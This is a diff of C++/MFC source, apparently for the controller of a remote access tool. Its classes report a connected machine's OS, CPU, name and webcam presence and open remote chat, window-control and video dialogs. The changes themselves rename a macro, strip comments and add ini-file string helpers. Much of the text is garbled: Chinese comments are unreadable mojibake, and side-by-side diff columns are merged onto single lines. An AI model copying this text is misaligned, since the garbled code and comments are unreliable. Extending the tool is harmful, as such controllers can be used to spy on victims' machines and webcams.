// <20><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9> // <20><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9>
// <20>Ƿ<EFBFBD><C7B7><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>
#define SHOW_NOTIFY 1 #define INDEPENDENT 1
////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////
typedef struct _LOGIN_INFOR typedef struct _LOGIN_INFOR
{ {
BYTE bToken; // = 1 //<EFBFBD><EFBFBD>½<EFBFBD><EFBFBD>Ϣ BYTE bToken; // ȡ1<EFBFBD><EFBFBD><EFBFBD><EFBFBD>½<EFBFBD><EFBFBD>Ϣ
OSVERSIONINFOEX OsVerInfoEx; // <20><EFBFBD><E6B1BE>Ϣ OSVERSIONINFOEX OsVerInfoEx; // <20><EFBFBD><E6B1BE>Ϣ
DWORD dwCPUMHz; // CPU<50><55>Ƶ DWORD dwCPUMHz; // CPU<50><55>Ƶ
IN_ADDR ClientAddr; // <20>洢32λ<32><CEBB>IPv4<76>ĵ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>ݽṹ IN_ADDR ClientAddr; // <20>洢32λ<32><CEBB>IPv4<76>ĵ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>ݽṹ
char szPCName[MAX_PATH]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> char szPCName[MAX_PATH]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BOOL bWebCamIsExist; // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ BOOL bWebCamIsExist; // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
@@ -70,7 +70,7 @@ public:
CStatusBar m_StatusBar; //״̬<D7B4><CCAC> CStatusBar m_StatusBar; //״̬<D7B4><CCAC>
CTrueColorToolBar m_ToolBar; CTrueColorToolBar m_ToolBar;
#if SHOW_NOTIFY #if INDEPENDENT
NOTIFYICONDATA m_Nid; NOTIFYICONDATA m_Nid;
#endif #endif
CRITICAL_SECTION m_cs; CRITICAL_SECTION m_cs;

View File

@@ -394,5 +394,5 @@ void CSystemDlg::OnWlistMin()
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD)); memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
m_iocpServer->OnClientPreSending(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf)); m_iocpServer->OnClientPreSending(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
}// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB4A6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> }
} }

View File

@@ -54,7 +54,7 @@ BOOL CTalkDlg::OnInitDialog()
void CTalkDlg::OnBnClickedButtonTalk() void CTalkDlg::OnBnClickedButtonTalk()
{ {
int iLength = m_EditTalk.GetWindowTextLength(); //EditBox <20>ϻ<EFBFBD><CFBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD> int iLength = m_EditTalk.GetWindowTextLength();
if (!iLength) if (!iLength)
{ {
@@ -62,14 +62,14 @@ void CTalkDlg::OnBnClickedButtonTalk()
} }
CString strData; CString strData;
m_EditTalk.GetWindowText(strData); //EditBox <20>ϻ<EFBFBD><CFBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> m_EditTalk.GetWindowText(strData);
char szBuffer[4096] = {0}; char szBuffer[4096] = {0};
strcpy(szBuffer,strData.GetBuffer(0)); strcpy(szBuffer,strData.GetBuffer(0));
m_EditTalk.SetWindowText(NULL); //EditBox <20>ϵ<EFBFBD><CFB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> m_EditTalk.SetWindowText(NULL);
m_iocpServer->OnClientPreSending(m_ContextObject, (LPBYTE)szBuffer, strlen(szBuffer));//<2F><><EFBFBD>Լ<EFBFBD><D4BC>ڴ<EFBFBD><DAB4>е<EFBFBD><D0B5><EFBFBD><EFBFBD>ݷ<EFBFBD><DDB7><EFBFBD> m_iocpServer->OnClientPreSending(m_ContextObject, (LPBYTE)szBuffer, strlen(szBuffer));
} }

View File

@@ -116,7 +116,7 @@ CVideoDlg::CVideoDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *Cont
m_ContextObject = ContextObject; m_ContextObject = ContextObject;
m_iocpServer = IOCPServer; m_iocpServer = IOCPServer;
m_BitmapInfor_Full = NULL; m_BitmapInfor_Full = NULL;
m_pVideoCodec = NULL; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>dz<EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD> <20>ҿ<EFBFBD> m_pVideoCodec = NULL;
sockaddr_in ClientAddress; sockaddr_in ClientAddress;
memset(&ClientAddress, 0, sizeof(ClientAddress)); memset(&ClientAddress, 0, sizeof(ClientAddress));
int iClientAddressLength = sizeof(ClientAddress); int iClientAddressLength = sizeof(ClientAddress);

View File

@@ -31,6 +31,20 @@ BOOL iniFile::SetInt(CString MainKey,CString SubKey,int Data)
return ::WritePrivateProfileString(MainKey, SubKey,strData,m_IniFilePath); return ::WritePrivateProfileString(MainKey, SubKey,strData,m_IniFilePath);
} }
CString iniFile::GetStr(CString MainKey, CString SubKey, CString def)
{
char buf[_MAX_PATH];
::GetPrivateProfileString(MainKey, SubKey, def, buf, sizeof(buf), m_IniFilePath);
return buf;
}
BOOL iniFile::SetStr(CString MainKey, CString SubKey, CString Data)
{
return ::WritePrivateProfileString(MainKey, SubKey, Data, m_IniFilePath);
}
iniFile::~iniFile(void) iniFile::~iniFile(void)
{ {
} }

View File

@@ -6,6 +6,8 @@ public:
BOOL ContructIniFile(); BOOL ContructIniFile();
int GetInt(CString MainKey,CString SubKey); int GetInt(CString MainKey,CString SubKey);
BOOL SetInt(CString MainKey,CString SubKey,int Data); BOOL SetInt(CString MainKey,CString SubKey,int Data);
CString GetStr(CString MainKey,CString SubKey, CString def);
BOOL SetStr(CString MainKey,CString SubKey,CString Data);
CString m_IniFilePath; CString m_IniFilePath;
iniFile(void); iniFile(void);
~iniFile(void); ~iniFile(void);